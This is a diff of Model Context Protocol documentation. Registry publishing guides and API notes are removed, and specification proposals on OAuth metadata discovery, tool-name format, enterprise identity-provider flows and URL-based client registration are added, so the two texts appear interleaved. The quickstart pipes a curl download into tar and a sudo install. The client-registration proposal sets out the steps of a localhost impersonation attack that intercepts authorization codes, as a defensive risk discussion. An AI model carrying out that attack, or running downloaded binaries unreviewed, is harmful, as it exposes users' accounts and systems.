`mcpName` in `package.json`. The `mcpName` property **MUST** match the server name from `server.json`. For example: +# SEP-985: Align OAuth 2.0 Protected Resource Metadata with RFC 9728 +Source: https://modelcontextprotocol.io/seps/985-align-oauth-20-protected-resource-metadata-with-rf -```json package.json theme={null} -{ - "name": "@username/email-integration-mcp", - "version": "1.0.0", - "mcpName": "io.github.username/email-integration-mcp" -} -``` +Align OAuth 2.0 Protected Resource Metadata with RFC 9728 -## PyPI Packages +
+ + Final + -For PyPI packages, the MCP Registry currently supports the official PyPI registry (`https://pypi.org`) only. + + Standards Track + +
-PyPI packages use `"registryType": "pypi"` in `server.json`. For example: +| Field | Value | +| ------------- | ----------------------------------------------------------------------------- | +| **SEP** | 985 | +| **Title** | Align OAuth 2.0 Protected Resource Metadata with RFC 9728 | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-07-16 | +| **Author(s)** | sunishsheth2009 | +| **Sponsor** | None | +| **PR** | [#985](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/985) | -```json server.json highlight={9} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "io.github.username/database-query-mcp", - "title": "Database Query", - "description": "Execute SQL queries and manage database connections", - "version": "1.0.0", - "packages": [ - { - "registryType": "pypi", - "identifier": "database-query-mcp", - "version": "1.0.0", - "transport": { - "type": "stdio" - } - } - ] -} -``` +*** -### Ownership Verification +## Abstract -The MCP Registry verifies ownership of PyPI packages by checking for the existence of an `mcp-name: $SERVER_NAME` string in the package README (which becomes the package description on PyPI). The string may be hidden in a comment, but the `$SERVER_NAME` portion **MUST** match the server name from `server.json`. For example: +This proposal brings the MCP spec's handling of OAuth 2.0 Protected Resource Metadata in line with [RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728#name-obtaining-protected-resourc). -```markdown README.md highlight={5} theme={null} -# Database Query MCP Server +Currently, the MCP spec requires the use of the HTTP WWW-Authenticate header when returning a 401 Unauthorized to indicate the location of the protected resource metadata. However, [RFC 9728, Section 5](https://datatracker.ietf.org/doc/html/rfc9728#section-5) states: -This MCP server executes SQL queries and manages database connections. +“A protected resource MAY use the WWW-Authenticate HTTP response header field, as discussed in RFC 9110, to return a URL to its protected resource metadata to the client.” - -``` +This suggests that the MCP spec could be made more flexible while still maintaining RFC compliance. -## NuGet Packages +## Rationale -For NuGet packages, the MCP Registry currently supports the official NuGet registry (`https://api.nuget.org/v3/index.json`) only. +Many large-scale, dynamic, multi-tenant environments rely on a centralized authentication service separate from the backend resource servers. In such deployments, injecting WWW-Authenticate headers from backend services is non-trivial due to separation of concerns and infrastructure complexity. -NuGet packages use `"registryType": "nuget"` in `server.json`. For example: +In these scenarios, having the option to discover metadata via a well-known URL provides a practical path forward for easier MCP adoption. Requiring only the header would impose significant communication overhead between components, especially when hundreds or thousands of MCP instances are created and destroyed dynamically. Also if there are specific managed MCP servers, adopting headers across centralized system would add significant overhead. -```json server.json highlight={9} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "io.github.username/azure-devops-mcp", - "title": "Azure DevOps", - "description": "Manage Azure DevOps work items and pipelines", - "version": "1.0.0", - "packages": [ - { - "registryType": "nuget", - "identifier": "Username.AzureDevOpsMcp", - "version": "1.0.0", - "transport": { - "type": "stdio" - } - } - ] -} -``` +While this increases complexity for clients—who must now implement logic to probe metadata endpoints—it reduces friction for server deployments and may encourage broader adoption. There are tradeoffs: -### Ownership Verification +Pros for Server Developers: Avoid complex header injection; simplifies integration in distributed environments. -The MCP Registry verifies ownership of NuGet packages by checking for the existence of an `mcp-name: $SERVER_NAME` string in the package README. The string may be hidden in a comment, but the `$SERVER_NAME` portion **MUST** match the server name from `server.json`. For example: +Cons for Client Developers: Clients must fall back to metadata discovery logic when the header is absent, increasing client complexity. -```markdown README.md highlight={5} theme={null} -# Azure DevOps MCP Server +## Proposed State -This MCP server manages Azure DevOps work items and pipelines. +Update the MCP spec to: - +``` +Clients MUST interpret the WWW-Authenticate header, and fallback to probing for metadata if not present. +Servers SHOULD return the WWW-Authenticate header ``` -## Docker/OCI Images - -For Docker/OCI images, the MCP Registry currently supports: +**The reason for deviating a bit on the RFC:** +Go with SHOULD over MAY for WWW-Authenticate is that it makes supporting other features, such as incremental authorization easier (e.g. you make a request for a tool, but need additional scopes, and receive a WWW-Authenticate challenge indicating the scopes). -* Docker Hub (`docker.io`) -* GitHub Container Registry (`ghcr.io`) -* Google Artifact Registry (any `*.pkg.dev` domain) -* Azure Container Registry (`*.azurecr.io`) -* Microsoft Container Registry (`mcr.microsoft.com`) +Based on the above, following the updated flow: -Docker/OCI images use `"registryType": "oci"` in `server.json`. For example: +* Attempt the MCP request without a token. +* If a 401 Unauthorized response is received: Check for a WWW-Authenticate header. If present and includes the resource\_metadata parameter, use it to locate the resource metadata. +* If the header is absent or does not include resource\_metadata, fallback to requesting /.well-known/oauth-protected-resource. -```json server.json highlight={9} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "io.github.username/kubernetes-manager-mcp", - "title": "Kubernetes Manager", - "description": "Deploy and manage Kubernetes resources", - "version": "1.0.0", - "packages": [ - { - "registryType": "oci", - "identifier": "docker.io/yourusername/kubernetes-manager-mcp:1.0.0", - "transport": { - "type": "stdio" - } - } - ] -} -``` +This change allows more flexible deployment models without removing existing capabilities. -The format of `identifier` is `registry/namespace/repository:tag`. For example, `docker.io/user/app:1.0.0` or `ghcr.io/user/app:1.0.0`. The tag can also be specified as a digest. +```mermaid theme={null} +sequenceDiagram + participant C as Client + participant M as MCP Server (Resource Server) + participant A as Authorization Server -### Ownership Verification + Note over C: Attempt unauthenticated MCP request + C->>M: MCP request without token + M-->>C: HTTP 401 Unauthorized (may include WWW-Authenticate header) -The MCP Registry verifies ownership of Docker/OCI images by checking for an `io.modelcontextprotocol.server.name` annotation. The value of the `io.modelcontextprotocol.server.name` annotation **MUST** match the server name from `server.json`. For example: + alt Header includes resource_metadata + Note over C: Extract resource_metadata URL from header + C->>M: GET resource_metadata URI + M-->>C: Resource metadata with authorization server URL + else No resource_metadata in header + Note over C: Fallback to metadata probing + C->>M: GET /.well-known/oauth-protected-resource + alt Metadata found + M-->>C: Resource metadata with authorization server URL + else Metadata not found + Note over C: Abort or use pre-configured values + end + end -```dockerfile Dockerfile theme={null} -LABEL io.modelcontextprotocol.server.name="io.github.username/kubernetes-manager-mcp" -``` + Note over C: Validate RS metadata,
build AS metadata URL -## MCPB Packages + C->>A: GET /.well-known/oauth-authorization-server + A-->>C: Authorization server metadata -For MCPB packages, the MCP Registry currently supports MCPB artifacts hosted via GitHub or GitLab releases. + Note over C,A: OAuth 2.1 authorization flow happens here -MCPB packages use `"registryType": "mcpb"` in `server.json`. For example: + C->>A: Token request + A-->>C: Access token -```json server.json highlight={9} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "io.github.username/image-processor-mcp", - "title": "Image Processor", - "description": "Process and transform images with various filters", - "version": "1.0.0", - "packages": [ - { - "registryType": "mcpb", - "identifier": "https://github.com/username/image-processor-mcp/releases/download/v1.0.0/image-processor.mcpb", - "fileSha256": "fe333e598595000ae021bd27117db32ec69af6987f507ba7a63c90638ff633ce", - "transport": { - "type": "stdio" - } - } - ] -} + C->>M: MCP request with access token + M-->>C: MCP response + Note over C,M: MCP communication continues with valid token ``` -### Verification +## Backward Compatibility -The MCPB package URL (`identifier` in `server.json`) **MUST** contain the string "mcp". That can be as part of the `.mcpb` file extension or in the name of the repository. +This proposal is fully backward-compatible. -The package metadata in `server.json` **MUST** include a `fileSha256` property with a SHA-256 hash of the MCPB artifact, which can be computed using the `openssl` command: +It retains support for the WWW-Authenticate header (already in the spec) and introduces a fallback mechanism using the .well-known metadata path, which is already defined in MCP as a MUST-support location. -```bash theme={null} -openssl dgst -sha256 image-processor.mcpb -``` +Clients that already support metadata probing benefit from improved interoperability. Servers are not required to emit the WWW-Authenticate header if it is infeasible, but doing so is still encouraged to reduce client complexity and enable future extensibility. -The MCP Registry does not validate this hash; however, MCP clients **do** validate the hash before installation to ensure file integrity. Downstream registries may also implement their own validation. +# SEP-986: Specify Format for Tool Names +Source: https://modelcontextprotocol.io/seps/986-specify-format-for-tool-names -# Quickstart: Publish an MCP Server to the MCP Registry -Source: https://modelcontextprotocol.io/registry/quickstart +Specify Format for Tool Names +
+ + Final + + + Standards Track + +
- - The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). - +| Field | Value | +| ------------- | ----------------------------------------------------------------------------- | +| **SEP** | 986 | +| **Title** | Specify Format for Tool Names | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-07-16 | +| **Author(s)** | kentcdodds | +| **Sponsor** | None | +| **PR** | [#986](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/986) | -This tutorial will show you how to publish an MCP server written in TypeScript to the MCP Registry using the official `mcp-publisher` CLI tool. +*** -## Prerequisites +## Abstract -* **Node.js** — This tutorial assumes the MCP server is written in TypeScript. -* **npm account** — The MCP Registry only hosts metadata, not artifacts. Before publishing to the MCP Registry, we will publish the MCP server's package to npm, so you will need an [npm](https://www.npmjs.com) account. -* **GitHub account** — The MCP Registry supports [multiple authentication methods](./authentication.mdx). For simplicity, this tutorial will use GitHub-based authentication, so you will need a [GitHub](https://github.com/) account. +The Model Context Protocol (MCP) currently lacks a standardized format for tool names, resulting in inconsistencies and confusion for both implementers and users. This SEP proposes a clear, flexible standard for tool names: tool names should be 1–64 characters, case-sensitive, and may include alphanumeric characters, underscores (\_), dashes (-), dots (.), and forward slashes (/). This aims to maximize compatibility, clarity, and interoperability across MCP implementations while accommodating a wide range of naming conventions. -If you do not have an MCP server written in TypeScript, you can copy the `weather-server-typescript` server from the [`modelcontextprotocol/quickstart-resources` repository](https://github.com/modelcontextprotocol/quickstart-resources) to follow along with this tutorial: +## Motivation -```bash theme={null} -git clone --depth 1 git@github.com:modelcontextprotocol/quickstart-resources.git -cp -r quickstart-resources/weather-server-typescript . -rm -rf quickstart-resources -cd weather-server-typescript -``` +Without a prescribed format for tool names, MCP implementations have adopted a variety of naming conventions, including different separators, casing, and character sets. This inconsistency can lead to confusion, errors in tool invocation, and difficulties in documentation and automation. Standardizing the allowed characters and length will: -And edit `package.json` to reflect your information: +* Make tool names predictable and interoperable across clients. +* Allow for hierarchical and namespaced tool names (e.g., using / and .). +* Support both human-readable and machine-generated names. +* Avoid unnecessary restrictions that could block valid use cases. -```diff package.json theme={null} - { -- "name": "mcp-quickstart-ts", -- "version": "1.0.0", -+ "name": "@my-username/mcp-weather-server", -+ "version": "1.0.1", - "main": "index.js", -``` +## Rationale -```diff package.json theme={null} - "license": "ISC", -- "description": "", -+ "repository": { -+ "type": "git", -+ "url": "https://github.com/my-username/mcp-weather-server.git" -+ }, -+ "description": "An MCP server for weather information.", - "devDependencies": { -``` +Community discussion highlighted the need for flexibility in tool naming. While some conventions (like lower-kebab-case) are common, many tools and clients use uppercase, underscores, dots, and slashes for namespacing or clarity. The proposed pattern—allowing a-z, A-Z, 0-9, \_, -, ., and /—is based on patterns used in major clients (e.g., VS Code, Claude) and aligns with common conventions in programming and APIs. Restricting spaces and commas avoids parsing issues and ambiguity. The length limit (1–64) is generous enough for most use cases but prevents abuse. -## Step 1: Add verification information to the package +## Specification -The MCP Registry verifies that a server's underlying package matches its metadata. For npm packages, this requires adding an `mcpName` property to `package.json`: +* Tool names SHOULD be between 1 and 64 characters in length (inclusive). +* Tool names are case-sensitive. +* Allowed characters: uppercase and lowercase ASCII letters (A-Z, a-z), digits + (0-9), underscore (\_), dash (-), dot (.), and forward slash (/). +* Tool names SHOULD NOT contain spaces, commas, or other special characters. +* Tool names SHOULD be unique within their namespace. +* Example valid tool names: + * getUser + * user-profile/update + * DATA\_EXPORT\_v2 + * admin.tools.list -```diff package.json theme={null} - { - "name": "@my-username/mcp-weather-server", - "version": "1.0.1", -+ "mcpName": "io.github.my-username/weather", - "main": "index.js", -``` +## Backwards Compatibility -The value of `mcpName` will be your server's name in the MCP Registry. +This change is not backwards compatible for existing tools that use disallowed characters or exceed the new length limits. To minimize disruption: -Because we will be using GitHub-based authentication, `mcpName` **must** start with `io.github.my-username/`. +* Existing non-conforming tool names SHOULD be supported as aliases for at least one major version, with a deprecation warning. +* Tool authors SHOULD update their documentation and code to use the new format. +* A migration guide SHOULD be provided to assist implementers in updating their tool names. -## Step 2: Publish the package +## Reference Implementation -The MCP Registry only hosts metadata, not artifacts, so we must publish the package to npm before publishing the server to the MCP Registry. +A reference implementation can be provided by updating the MCP core library to enforce the new tool name validation rules at registration time. Existing tools can be updated to provide aliases for their new conforming names, with warnings for deprecated formats. Example code and migration scripts can be included in the MCP repository. -Ensure the distribution files are built: +## Security Implications -```bash theme={null} -# Navigate to project directory -cd weather-server-typescript +None. Standardizing tool name format does not introduce new security risks. -# Install dependencies -npm install -# Build the distribution files -npm run build -``` +# SEP-990: Enable enterprise IdP policy controls during MCP OAuth flows +Source: https://modelcontextprotocol.io/seps/990-enable-enterprise-idp-policy-controls-during-mcp-o -Then follow npm's [publishing guide](https://docs.npmjs.com/creating-and-publishing-scoped-public-packages). In particular, you will probably need to run the following commands: +Enable enterprise IdP policy controls during MCP OAuth flows -```bash theme={null} -# If necessary, authenticate to npm -npm adduser +
+ + Final + -# Publish the package -npm publish --access public -``` + + Standards Track + +
-You can verify your package is published by visiting its npm URL, such as [https://www.npmjs.com/package/@my-username/mcp-weather-server](https://www.npmjs.com/package/@my-username/mcp-weather-server). +| Field | Value | +| ------------- | ----------------------------------------------------------------------------- | +| **SEP** | 990 | +| **Title** | Enable enterprise IdP policy controls during MCP OAuth flows | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-06-04 | +| **Author(s)** | Aaron Parecki ([@aaronpk](https://github.com/aaronpk)) | +| **Sponsor** | None | +| **PR** | [#646](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/646) | -## Step 3: Install `mcp-publisher` +*** -Install the `mcp-publisher` CLI tool using a pre-built binary or [Homebrew](https://brew.sh): +## Abstract - - ```bash macOS/Linux theme={null} - curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher && sudo mv mcp-publisher /usr/local/bin/ - ``` +This extension is designed to facilitate secure and interoperable authorization of MCP clients within corporate environments, leveraging existing enterprise identity infrastructure. - ```powershell Windows theme={null} - $arch = if ([System.Runtime.InteropServices.RuntimeInformation]::ProcessArchitecture -eq "Arm64") { "arm64" } else { "amd64" }; Invoke-WebRequest -Uri "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_windows_$arch.tar.gz" -OutFile "mcp-publisher.tar.gz"; tar xf mcp-publisher.tar.gz mcp-publisher.exe; rm mcp-publisher.tar.gz - # Move mcp-publisher.exe to a directory in your PATH - ``` +* For end users, this removes the need to manually connect and authorize the MCP Client to individual services within the organization. +* For enterprise admins, this enables visibility and control over which MCP Servers are able to be used within the organization. - ```bash theme={null} - brew install mcp-publisher - ``` - +## How Has This Been Tested? -Verify that `mcp-publisher` is correctly installed by running: +We have an end to end implementation of this [here](https://github.com/oktadev/okta-cross-app-access-mcp), and in-progress MCP implementations with some partners. -```bash theme={null} -mcp-publisher --help -``` +## Breaking Changes -You should see output like: +This is designed to augment the existing OAuth profile by providing an alternative when used under an enterprise IdP. MCP clients can opt in to this profile when necessary. -```text Output theme={null} -MCP Registry Publisher Tool +## Additional Context -Usage: - mcp-publisher [arguments] +For more background on this problem, you can refer to my blog post about this here: -Commands: - init Create a server.json file template - login Authenticate with the registry - logout Clear saved authentication - publish Publish server.json to the registry -``` +[Enterprise-Ready MCP](https://aaronparecki.com/2025/05/12/27/enterprise-ready-mcp) -## Step 4: Create `server.json` +I also presented this at the MCP Dev Summit in May. -The `mcp-publisher init` command can generate a `server.json` template file with some information derived from your project. +A high level overview of the flow is below: -In your server project directory, run `mcp-publisher init`: +```mermaid theme={null} +sequenceDiagram + participant UA as Browser + participant C as MCP Client + participant MAS as MCP Authorization Server + participant MRS as MCP Resource Server + participant IdP as Identity Provider -```bash theme={null} -mcp-publisher init -``` + rect rgb(255,255,225) + C-->>UA: Redirect to IdP + UA->>+IdP: Redirect to IdP + Note over IdP: User Logs In + IdP-->>-UA: IdP Authorization Code + UA->>C: IdP Authorization Code + C->>+IdP: Token Request with IdP Authorization Code + IdP-->-C: ID Token + end -Open the generated `server.json` file, and you should see contents like: + note over C: User is logged
in to MCP Client.
Client stores ID Token. -```json server.json theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "io.github.my-username/weather", - "description": "An MCP server for weather information.", - "repository": { - "url": "https://github.com/my-username/mcp-weather-server", - "source": "github" - }, - "version": "1.0.0", - "packages": [ - { - "registryType": "npm", - "identifier": "@my-username/mcp-weather-server", - "version": "1.0.0", - "transport": { - "type": "stdio" - }, - "environmentVariables": [ - { - "description": "Your API key for the service", - "isRequired": true, - "format": "string", - "isSecret": true, - "name": "YOUR_API_KEY" - } - ] - } - ] -} + C->+IdP: Exchange ID Token for ID-JAG + note over IdP: Evaluate Policy + IdP-->-C: Responds with ID-JAG + C->+MAS: Token Request with ID-JAG + note over MAS: Validate ID-JAG + MAS-->-C: MCP Access Token + + loop + C->>+MRS: Call MCP API with Access Token + MRS-->>-C: MCP Response with Data + end ``` -Edit the contents as necessary: +> \[!IMPORTANT] +> **State:** Ready to Review -```diff server.json theme={null} - { - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "io.github.my-username/weather", - "description": "An MCP server for weather information.", - "repository": { - "url": "https://github.com/my-username/mcp-weather-server", - "source": "github" - }, -- "version": "1.0.0", -+ "version": "1.0.1", - "packages": [ - { - "registryType": "npm", - "identifier": "@my-username/mcp-weather-server", -- "version": "1.0.0", -+ "version": "1.0.1", - "transport": { - "type": "stdio" -- }, -- "environmentVariables": [ -- { -- "description": "Your API key for the service", -- "isRequired": true, -- "format": "string", -- "isSecret": true, -- "name": "YOUR_API_KEY" -- } -- ] -+ } - } - ] - } -``` -The `name` property in `server.json` **must** match the `mcpName` property in `package.json`. +# SEP-991: Enable URL-based Client Registration using OAuth Client ID Metadata Documents +Source: https://modelcontextprotocol.io/seps/991-enable-url-based-client-registration-using-oauth-c -## Step 5: Authenticate with the MCP Registry +Enable URL-based Client Registration using OAuth Client ID Metadata Documents -For this tutorial, we will authenticate with the MCP Registry using GitHub-based authentication. +
+ + Final + -Run the `mcp-publisher login` command to initiate authentication: + + Standards Track + +
-```bash theme={null} -mcp-publisher login github -``` +| Field | Value | +| ------------- | ----------------------------------------------------------------------------------------------------------------- | +| **SEP** | 991 | +| **Title** | Enable URL-based Client Registration using OAuth Client ID Metadata Documents | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-07-07 | +| **Author(s)** | Paul Carleton ([@pcarleton](https://github.com/pcarleton)) Aaron Parecki ([@aaronpk](https://github.com/aaronpk)) | +| **Sponsor** | None | +| **PR** | [#991](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/991) | -You should see output like: +*** -```text Output theme={null} -Logging in with github... +## Abstract -To authenticate, please: -1. Go to: https://github.com/login/device -2. Enter code: ABCD-1234 -3. Authorize this application -Waiting for authorization... -``` +This SEP proposes adopting OAuth Client ID Metadata Documents as specified in [draft-parecki-oauth-client-id-metadata-document-03](https://datatracker.ietf.org/doc/draft-parecki-oauth-client-id-metadata-document/) as an additional client registration mechanism for the Model Context Protocol (MCP). This approach allows OAuth clients to use HTTPS URLs as client identifiers, where the URL points to a JSON document containing client metadata. This specifically addresses the common MCP scenario where servers and clients have no pre-existing relationship, enabling servers to trust clients without pre-coordination while maintaining full control over access policies. -Visit the link, follow the prompts, and enter the authorization code that was printed in the terminal (e.g., `ABCD-1234` in the above output). Once complete, go back to the terminal, and you should see output like: +## Motivation -```text Output theme={null} -Successfully authenticated! -✓ Successfully logged in -``` +The Model Context Protocol currently supports two client registration approaches: -## Step 6: Publish to the MCP Registry +1. **Pre-registration**: Requires either client developers or users to manually register clients with each server +2. **Dynamic Client Registration (DCR)**: Allows just-in-time registration by sending client metadata to a register endpoint on the Authorization server. -Finally, publish your server to the MCP Registry using the `mcp-publisher publish` command: +Both approaches have significant limitations for MCP's use case where clients frequently need to connect to servers they've never encountered before: -```bash theme={null} -mcp-publisher publish -``` +* Pre-registration by developers is impractical as servers may not exist when clients ship +* Pre-registration by users creates poor UX requiring manual credential management +* DCR requires servers to manage unbounded databases, handle expiration, and trust self-asserted metadata -You should see output like: +### The Target Use Case: No Pre-existing Relationship -```text Output theme={null} -Publishing to https://registry.modelcontextprotocol.io... -✓ Successfully published -✓ Server io.github.my-username/weather version 1.0.1 -``` +This proposal specifically targets the common MCP scenario where: -You can verify that your server is published by searching for it using the MCP Registry API: +* A user wants to connect a client to a server they've discovered +* The client developer has never heard of this server +* The server operator has never heard of this client +* Both parties need to establish trust without prior coordination -```bash theme={null} -curl "https://registry.modelcontextprotocol.io/v0.1/servers?search=io.github.my-username/weather" -``` +For scenarios with pre-existing relationships, pre-registration remains the optimal solution. However, MCP's value comes from its ability to connect arbitrary clients and servers, making the "no pre-existing relationship" case critical to address. -You should see your server's metadata in the search results JSON: +Relatedly, there are many more MCP servers than there are clients (similar to how there are many more web browsers than API's). A common scenario is an MCP server developer wanting to restrict usage to a set of clients they trust. -```text Output theme={null} -{"servers":[{ ... "name":"io.github.my-username/weather" ... }]} -``` +### Key Innovation: Server-Controlled Trust Without Pre-Coordination -## Troubleshooting +Client ID Metadata Documents enable a unique trust model where: -| Error Message | Action | -| --------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | -| "Registry validation failed for package" | Ensure your package includes the required validation information (e.g, `mcpName` property in `package.json`). | -| "Invalid or expired Registry JWT token" | Re-authenticate by running `mcp-publisher login github`. | -| "You do not have permission to publish this server" | Your authentication method doesn't match your server's namespace format. With GitHub auth, your server name must start with `io.github.your-username/`. | +1. **Servers can trust clients they've never seen before** based on: + * The HTTPS domain hosting the metadata + * The metadata content itself + * Domain reputation and security policies -## Next Steps +2. **Servers maintain full control** through flexible policies: + * **Open Servers**: Can accept any HTTPS client\_id, enabling maximum interoperability + * **Protected Servers**: Can restrict to trusted domains or specific clients -* Learn about [support for other package types](./package-types.mdx). -* Learn about [support for remote servers](./remote-servers.mdx). -* Learn how to [use other authentication methods](./authentication.mdx), such as [DNS authentication](./authentication.mdx#dns-authentication) which enables custom domains for server name prefixes. -* Learn how to [automate publishing with GitHub Actions](./github-actions.mdx). +3. **No client pre-coordination required**: + * Clients don't need to know about servers in advance + * Clients just need to host their metadata document + * Trust flows from the client's domain, not prior registration +## Specification Changes -# MCP Registry Aggregators -Source: https://modelcontextprotocol.io/registry/registry-aggregators +The change to the specification will be adding Client ID Metadata documents as a SHOULD, and changing DCR to a MAY, as we think that Client ID Metadata documents are a better default option for this scenario. +We will primarily rely on the text in the linked RFC, aiming not to repeat most of it. Below is a short version of what we'll need to specify. +```mermaid theme={null} + sequenceDiagram + participant User + participant Client as MCP Client + participant Server as Authorization Server + participant Metadata as Metadata Endpoint
(Client's HTTPS URL) + participant Resource as MCP Server - - The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). - + Note over Client,Metadata: Client hosts metadata at
https://app.example.com/oauth/metadata.json -Aggregators are downstream consumers of the MCP Registry that provide additional value. For example, a server marketplace that provides user ratings and security scanning. + User->>Client: Initiates connection to MCP Server + Client->>Server: Authorization Request
client_id=https://app.example.com/oauth/metadata.json
redirect_uri=http://localhost:3000/callback -The MCP Registry provides an unauthenticated read-only REST API that aggregators can use to populate their data stores. Aggregators are expected to scrape data on a regular but infrequent basis (e.g., once per hour), and persist the data in their own data store. The MCP Registry **does not provide uptime or data durability guarantees**. + Note over Server: Authenticates user -## Consuming the MCP Registry REST API -The base URL for the MCP Registry REST API is `https://registry.modelcontextprotocol.io`. It supports the following endpoints: + Note over Server: Detects URL-formatted client_id -* [`GET /v0.1/servers`](https://registry.modelcontextprotocol.io/docs#/operations/list-servers-v0.1) — List all servers. -* [`GET /v0.1/servers/{serverName}/versions`](https://registry.modelcontextprotocol.io/docs#/operations/get-server-versions-v0.1) — List all versions of a server. -* [`GET /v0.1/servers/{serverName}/versions/{version}`](https://registry.modelcontextprotocol.io/docs#/operations/get-server-version-v0.1) — Get a specific version of a server. Use the special version `latest` to get the latest version of the server. + Server->>Metadata: GET https://app.example.com/oauth/metadata.json + Metadata-->>Server: JSON Metadata Document
{client_id, client_name, redirect_uris, ...} - - URL path parameters such as `serverName` and `version` **must** be URL-encoded. For example, `io.modelcontextprotocol/everything` must be encoded as `io.modelcontextprotocol%2Feverything`. - + Note over Server: Validates:
1. client_id matches URL
2. redirect_uri in allowed list
3. Document structure valid
4. Domain allowed via trust policy -Aggregators will most likely scrape the `GET /v0.1/servers` endpoint. + alt Validation Success + Server->>User: Display consent page with client_name + User->>Server: Approves access + Server->>Client: Authorization code via redirect_uri + Client->>Server: Exchange code for token
client_id=https://app.example.com/oauth/metadata.json + Server-->>Client: Access token + Client->>Resource: MCP requests with access token + Resource-->>Client: MCP responses + else Validation Failure + Server->>User: Error response
error=invalid_client or invalid_request + end -### Pagination + Note over Server: Cache metadata for future requests
(respecting HTTP cache headers) +``` -The `GET /v0.1/servers` endpoint supports cursor-based pagination. +### Client Requirements -For example, the first page can be fetched using a `limit` query parameter: +* Clients MUST host their metadata document at an HTTPS URL following RFC requirements +* The client\_id URL MUST use "https" scheme and contain a path component +* Metadata documents MUST be valid JSON and include at minimum: + * `client_id`: matching the document URL exactly + * `client_name`: human-readable name for authorization prompts + * `redirect_uris`: array of allowed redirect URIs + * `token_endpoint_auth_method`: "none" for public clients -```bash theme={null} -curl "https://registry.modelcontextprotocol.io/v0.1/servers?limit=100" -``` +Note a client can use `private_key_jwt` for a `token_endpoint_auth_method` given the client metadata can provide public key information. -```jsonc Output highlight={5} theme={null} +### Server Requirements + +* Servers SHOULD fetch metadata documents when encountering URL-formatted client\_ids +* Servers MUST validate the fetched document contains matching client\_id +* Servers SHOULD cache metadata respecting HTTP headers (max 24 hours recommended) +* Servers MUST validate redirect URIs match those in metadata document + +### Discovery + +* Servers advertise support via OAuth metadata: `client_id_metadata_document_supported: true` +* Clients detect support and can fallback to DCR or pre-registration if unavailable + +Example metadata document: + +```json theme={null} { - "servers": [ - /* ... */ + "client_id": "https://app.example.com/oauth/client-metadata.json", + "client_name": "Example MCP Client", + "client_uri": "https://app.example.com", + "logo_uri": "https://app.example.com/logo.png", + "redirect_uris": [ + "http://127.0.0.1:3000/callback", + "http://localhost:3000/callback" ], - "metadata": { - "count": 100, - "nextCursor": "com.example/my-server:1.0.0", - }, + "grant_types": ["authorization_code"], + "response_types": ["code"], + "token_endpoint_auth_method": "none" } ``` -Then subsequent pages can be fetched by passing the `nextCursor` value as the `cursor` query parameter: +### Integration with Existing MCP Auth + +This proposal adds Client ID Metadata Documents as a third registration option alongside pre-registration and DCR. Servers MAY support any combination of these approaches: + +* Pre-registration remains unchanged +* DCR remains unchanged +* Client ID Metadata Documents are detected by URL-formatted client\_ids, and server support is advertised in OAuth metadata. + +## Rationale + +### Why This Solves the "No Pre-existing Relationship" Problem + +Unlike pre-registration which requires coordination, or DCR which requires servers to manage a registration database, Client ID Metadata Documents provide: + +1. **Verifiable Identity**: The HTTPS URL serves as both identifier and trust anchor +2. **No Coordination Needed**: Clients publish metadata, servers consume it +3. **Flexible Trust Policies**: Servers decide their own trust criteria without requiring client changes +4. **Stable Identifiers**: Unlike DCR's ephemeral IDs, URLs are stable and auditable + +### Redirect URI Attestation + +A key benefit of Client ID Metadata Documents is attestation of redirect URIs: + +1. **The metadata document cryptographically binds redirect URIs to the client identity** via HTTPS +2. **Servers can trust that redirect URIs in the metadata are controlled by the client** - not attacker-supplied +3. **This prevents redirect URI manipulation attacks** common with self-asserted registration + +### Risks of this approach + +#### Risk: Localhost URL Impersonation + +A limitation of Client ID Metadata Documents is that they cannot prevent localhost URL impersonation by itself. An attacker can claim to be any client by: -```bash theme={null} -curl "https://registry.modelcontextprotocol.io/v0.1/servers?limit=100&cursor=com.example/my-server:1.0.0" -``` +1. Providing the legitimate client's metadata URL as their client\_id +2. Binding to the same localhost port the legitimate client uses +3. Intercepting the authorization code when the user approves -### Filtering Since +This attack is concerning because the server sees the correct metadata +document and the user sees the correct client name, making detection +difficult. -The `GET /v0.1/servers` endpoint supports filtering servers that have been updated since a given timestamp. +Platform-specific attestations (iOS DeviceCheck, Android +Play Integrity) could address this, but they're not universally available. This +would work by a developer running a backend service that consumes the DeviceCheck / Play Integrity +signatures and returns a JWT usable as the `private_key_jwt` authentication for the `token_endpoint_auth_method`. -For example, servers that have been updated since 2025-10-23 can be fetched using an `updated_since` query parameter in [RFC 3339](https://datatracker.ietf.org/doc/html/rfc3339) date-time format: +A similar approach without requiring platform-specific attestations that still raises the cost of the attack +is possible using JWKS and short-lived JWTs signed by a server-side component hosted by the client developer. This component could use attestation mechanisms other than platform-specific ones to attest to the clients identity, such as the client's standard login flow. Using short lived JWTs reduces the risk of credential compromise and replay, but does not eliminate it +entirely - an attacker could still proxy requests to the legitimate +client's signing endpoint. -```bash theme={null} -curl 